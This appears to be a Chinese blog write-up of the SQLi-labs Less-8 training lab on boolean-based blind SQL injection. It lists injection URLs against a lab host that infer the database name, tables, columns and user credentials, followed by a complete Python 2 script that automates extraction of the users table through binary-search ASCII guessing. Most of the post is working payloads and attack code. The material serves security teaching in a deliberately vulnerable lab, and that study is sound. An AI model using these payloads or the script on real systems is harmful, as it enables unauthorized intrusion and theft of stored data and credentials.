SQLi-labs(Less-8)

本文深入探讨了SQL盲注攻击的原理与实践,通过实例演示如何利用布尔盲注技术进行数据库信息的猜解,包括数据库名、表名、列名及数据内容。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Less-8

GET - Blind - Boolian Based - Single Quotes
  • 初步测试发现闭合传参的是单引号:
http://192.168.12.129:83/Less-8/?id=1'  %23
  • 但是,构造SQL语句,后台执行后不返回到前端。在此印证了布尔盲注。即:在不知道数据库返回值的情况下对数据中的内容进行猜测。猜对了,返回正常页面(无执行信息返回);猜错了,返回错误页面。
  • 所以,可以根据页面是否正常来确定猜测信息准确性。
  • 通常,用于猜解的SQL函数有:
sleep(n)	#让程序睡上n秒后再执行。
ascii()		#将查询的指定字符生产ASCII后进行判断猜解。
substr()	#截取字符串。
length()	#统计查询的指定字符串的长度后进行判断猜解。
count()		#统计查询目标的数量后进行判断猜解
if(expr1,expr2,expr3)	#判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句。
  • 具体操作:
http://192.168.12.129:83/Less-8/?id=1' and length(database())>=5 %23 		#猜解当前数据库名的字符数是否>=5
http://192.168.12.129:83/Less-8/?id=1' and ascii(substr((select database()),1,1))>=103 %23 	#猜解当前数据库名的第一个字符的ASCII是否>=103
http://192.168.12.129:83/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')>=10 %23 	#猜解当前数据库中的表的个数
http://192.168.12.129:83/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)>=10 %23	#猜解当前数据表名的字符数
http://192.168.12.129:83/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>=79 %23	#猜解当前数据表名的第一个字符
http://192.168.12.129:83/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),8,1))>=97 %23  #猜解字段
http://192.168.12.129:83/Less-8/?id=1' and (select length(username) from users limit 1,1)>=10 %23	#猜解第一个username的字符串长度
http://192.168.12.129:83/Less-8/?id=1' and (select length(password) from users limit 1,1)>=10 %23	#猜解第一个password的字符串长度
http://192.168.12.129:83/Less-8/?id=1' and ascii(substr((select username from users limit 1,1),1,1))>=79 %23	#猜解当前username内容的第一个字符的ASCII是否>=79
  • 手工猜解——太慢,利用SQL盲注,还得依赖于脚本来实现:
# -*-coding:utf-8-*-
 
""" 
python 2

"""  
import urllib2
import urllib
 
success_str = "You are in"
getTable = "users"
 
index = "0"
url = "http://192.168.12.129:83/Less-8/?id=1"
database = "database()"
selectDB = "select database()" 
selectTable = "select table_name from information_schema.tables where table_schema='%s' limit %d,1"
 
asciiPayload = "' and ascii(substr((%s),%d,1))>=%d #"
lengthPayload = "' and length(%s)>=%d #"
selectTableCountPayload = "'and (select count(table_name) from information_schema.tables where table_schema='%s')>=%d #"
 
selectTableNameLengthPayloadfront = "'and (select length(table_name) from information_schema.tables where table_schema='%s' limit " 
selectTableNameLengthPayloadbehind = ",1)>=%d #"
 
# 发送请求,根据页面的返回的判断长度的猜测结果
# string:猜测的字符串 payload:使用的payload  length:猜测的长度
def getLengthResult(payload, string, length):
    finalUrl = url + urllib.quote(payload % (string, length))
    res = urllib2.urlopen(finalUrl)
    if success_str in res.read():
        return True
    else:
        return False
 
# 发送请求,根据页面的返回的判断猜测的字符是否正确
# payload:使用的payload    string:猜测的字符串   pos:猜测字符串的位置    ascii:猜测的ascii
def getResult(payload, string, pos, ascii):
    finalUrl = url + urllib.quote(payload % (string, pos, ascii))
    res = urllib2.urlopen(finalUrl)
    if success_str in res.read():
        return True
    else:
        return False
 
# 注入
def inject():
    # 猜数据库长度
    lengthOfDBName = getLengthOfString(lengthPayload, database)
    print "length of DBname:" + str(lengthOfDBName)
    # 获取数据库名称
    DBname = getName(asciiPayload, selectDB, lengthOfDBName)
    
    print "current database:" + DBname
 
    # 获取数据库中的表的个数
    # print selectTableCountPayload
    tableCount = getLengthOfString(selectTableCountPayload, DBname)
    print "count of talbe:" + str(tableCount)
 
    # 获取数据库中的表
    for i in xrange(0,tableCount):
        # 第几个表
        num = str(i)
        # 获取当前这个表的长度
        selectTableNameLengthPayload = selectTableNameLengthPayloadfront + num + selectTableNameLengthPayloadbehind
        tableNameLength = getLengthOfString(selectTableNameLengthPayload, DBname)
        print "current table length:" + str(tableNameLength)
        # 获取当前这个表的名字
        selectTableName = selectTable%(DBname, i)
        tableName = getName(asciiPayload, selectTableName ,tableNameLength)
        print tableName
 
    selectColumnCountPayload = "'and (select count(column_name) from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s')>=%d #"
    # print selectColumnCountPayload
    # 获取指定表的列的数量
    columnCount = getLengthOfString(selectColumnCountPayload, getTable)
    print "table:" + getTable + " --count of column:" + str(columnCount)
 
    # 获取该表有多少行数据
    dataCountPayload = "'and (select count(*) from %s)>=%d #"
    dataCount = getLengthOfString(dataCountPayload, getTable)
    print "table:" + getTable + " --count of data: " + str(dataCount)
 
    data = []
    # 获取指定表中的列
    for i in xrange(0,columnCount):
        # 获取该列名字长度
        selectColumnNameLengthPayload = "'and (select length(column_name) from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s' limit "+ str(i) +",1)>=%d #"
        # print selectColumnNameLengthPayload
        columnNameLength = getLengthOfString(selectColumnNameLengthPayload, getTable)
        print "current column length:" + str(columnNameLength)
        # 获取该列的名字
        selectColumn = "select column_name from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s' limit %d,1"
        selectColumnName = selectColumn%(getTable, i)
        # print selectColumnName
        columnName = getName(asciiPayload, selectColumnName ,columnNameLength)
        print columnName
 
        tmpData = []
        tmpData.append(columnName)
        # 获取该表的数据
        for j in xrange(0,dataCount):
            columnDataLengthPayload = "'and (select length("+ columnName +") from %s limit " + str(j) + ",1)>=%d #"
            # print columnDataLengthPayload
            columnDataLength = getLengthOfString(columnDataLengthPayload, getTable)
            # print columnDataLength
            selectData = "select " + columnName + " from users limit " + str(j) + ",1"
            columnData = getName(asciiPayload, selectData, columnDataLength)
            # print columnData
            tmpData.append(columnData)
    
        data.append(tmpData)
 
    # print data    
    # 格式化输出数据
    # 输出列名
    tmp = ""
    for i in xrange(0,len(data)):
        tmp += data[i][0] + "   "
    print tmp
    # 输出具体数据
    for j in xrange(1,dataCount+1):
        tmp = ""
        for i in xrange(0,len(data)):
            tmp += data[i][j] + "   "
        print tmp
    
# 获取字符串的长度          
def getLengthOfString(payload, string):
    # 猜长度
    lengthLeft = 0
    lengthRigth = 0
    guess = 10
    # 确定长度上限,每次增加5
    while 1:
        # 如果长度大于guess
        if getLengthResult(payload, string, guess) == True:
            # 猜测值增加5
            guess = guess + 5   
        else:
            lengthRigth = guess
            break
    # print "lengthRigth: " + str(lengthRigth)
    # 二分法查长度
    mid = (lengthLeft + lengthRigth) / 2
    while lengthLeft < lengthRigth - 1:
        # 如果长度大于等于mid 
        if getLengthResult(payload, string, mid) == True:
            # 更新长度的左边界为mid
            lengthLeft = mid
        else: 
        # 否则就是长度小于mid
            # 更新长度的右边界为mid
            lengthRigth = mid
        # 更新中值
        mid = (lengthLeft + lengthRigth) / 2        
        # print lengthLeft, lengthRigth
    # 因为lengthLeft当长度大于等于mid时更新为mid,而lengthRigth是当长度小于mid时更新为mid
    # 所以长度区间:大于等于 lengthLeft,小于lengthRigth
    # 而循环条件是 lengthLeft < lengthRigth - 1,退出循环,lengthLeft就是所求长度
    # 如循环到最后一步 lengthLeft = 8, lengthRigth = 9时,循环退出,区间为8<=length<9,length就肯定等于8
    return lengthLeft
 
# 获取名称
def getName(payload, string, lengthOfString):
    # 32是空格,是第一个可显示的字符,127是delete,最后一个字符
    tmp = ''
    for i in xrange(1,lengthOfString+1):
        left = 32 
        right = 127
        mid = (left + right) / 2
        while left < right - 1:
            # 如果该字符串的第i个字符的ascii码大于等于mid
            if getResult(payload, string, i, mid) == True:
                # 则更新左边界
                left = mid
                mid = (left + right) / 2
            else:
            # 否则该字符串的第i个字符的ascii码小于mid
                # 则更新右边界
                right = mid
            # 更新中值
            mid = (left + right) / 2
        tmp += chr(left)
        # print tmp
    return tmp  
        
 
def main():
    inject()
main()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值